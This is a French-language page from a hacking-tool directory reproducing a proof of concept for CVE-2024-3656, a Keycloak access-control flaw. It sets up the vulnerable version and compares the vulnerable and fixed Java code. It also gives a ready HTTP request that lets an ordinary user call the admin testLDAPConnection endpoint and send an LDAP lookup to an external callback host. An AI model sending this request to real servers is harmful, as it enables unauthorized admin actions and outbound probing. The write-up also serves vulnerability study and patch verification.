Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-3656 — L'API d'administration de Keycloak permet aux utilisateurs à faibles privilèges d'utiliser des fonctions administratives. | Kitploit
Outils/GitHubGitHub/h4x0r-dz/cve-2024-3656
Authentification et AutorisationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionMauvaise Configuration
GitHubh4x0r-dz/cve-2024-3656

CVE-2024-3656

L'API d'administration de Keycloak permet aux utilisateurs à faibles privilèges d'utiliser des fonctions administratives.

Voir le dépôt
31102il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Keycloak < 24.0.5 est vulnérable à une faille de Contrôle d'accès défaillant, où un attaquant peut utiliser n’importe quel utilisateur authentifié pour effectuer certaines actions API telles que :

Tester les connexions LDAP via le point de terminaison testLDAPConnection. Récupérer les attributs non gérés d’un utilisateur via le point de terminaison getUnmanagedAttributes. Accéder aux fournisseurs de politique d’enregistrement client via le point de terminaison getProviders.

Je n’ai trouvé intéressant que testLDAPConnection, où un attaquant peut interagir avec LDAP vers un hôte externe.

étapes de reproduction

Téléchargez d’abord la version vulnérable de KeyCloak 24.0.4 depuis ici https://www.keycloak.org/archive/downloads-24.0.4.html

Extrayez ensuite le fichier Zip et exécutez la commande bin/kc.sh start-dev

image

Maintenant, il s’exécutera sur localhost:8080. Créez un nouveau compte administrateur, puis connectez-vous avec ce compte administrateur.

Créez maintenant un nouveau Realm pour les utilisateurs normaux, puis créez un utilisateur avec les privilèges d’utilisateur dans ce realm.

image

D’après le commit qui corrige la vulnérabilité « Ajout de vérifications d’authentification manquantes dans certains points de terminaison admin » https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1

nous constatons que 3 fichiers ont été modifiés :

TestLdapConnectionResource.java UserResource.java ClientRegistrationPolicyResource.java

Analyse du changement de code dans TestLdapConnectionResource.java :

(Code vulnérable) :

root@kitploit:~
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
    try {
        LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
        return Response.noContent().build();
    }
    // Gestion des exceptions...
}

Il n’y avait aucune vérification des permissions. Tout utilisateur authentifié pouvait appeler testLDAPConnection et effectuer des tests LDAP, ce qui relève d’une action administrative.

(Code corrigé) :

root@kitploit:~
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
    auth.realm().requireManageRealm(); // Vérification des permissions ajoutée
    try {
        LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
        return Response.noContent().build();
    }
    // Gestion des exceptions...
}

image

La ligne auth.realm().requireManageRealm(); a été ajoutée pour vérifier si l’utilisateur possède les permissions d’administration (rôle manage_realm) dans le realm.

Cela signifie que n’importe quel utilisateur d’un realm quelconque peut envoyer une requête vers /admin/realms/users/testLDAPConnection.

Maintenant, dans un nouveau navigateur, ouvrez le lien http://localhost:8080/realms/users/protocol/openid-connect/auth?client_id=account-console

Connectez-vous avec l’utilisateur que vous avez créé, puis récupérez le authorization: Bearer <>

Envoyez une requête HTTP vers le point de terminaison vulnérable :

root@kitploit:~
POST /admin/realms/users/testLDAPConnection HTTP/1.1
Host: dzdz.me:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
authorization: Bearer <xxxx>
content-type: application/json
Content-Length: 265
Origin: http://dzdz.me:8080
Connection: close


{

    "action": "testConnection",
    "connectionUrl": "ldap://xxxxxxxxxxxxxxxxxxxxxxx.oastify.com",
    "bindDn": "cn=admin,dc=example,dc=com",
    "bindCredential": "password",
    "useTruststoreSpi": "ldapsOnly",
    "connectionTimeout": "5000"
}

Dans le paramètre connectionUrl, mettez votre hôte externe et envoyez la requête.

Vous recevrez alors l’interaction DNS.

image

Vous pouvez appliquer la même chose avec getUnmanagedAttributes et getProviders.

référence : https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1 https://github.com/advisories/GHSA-2cww-fgmg-4jqc

Télécharger l’outil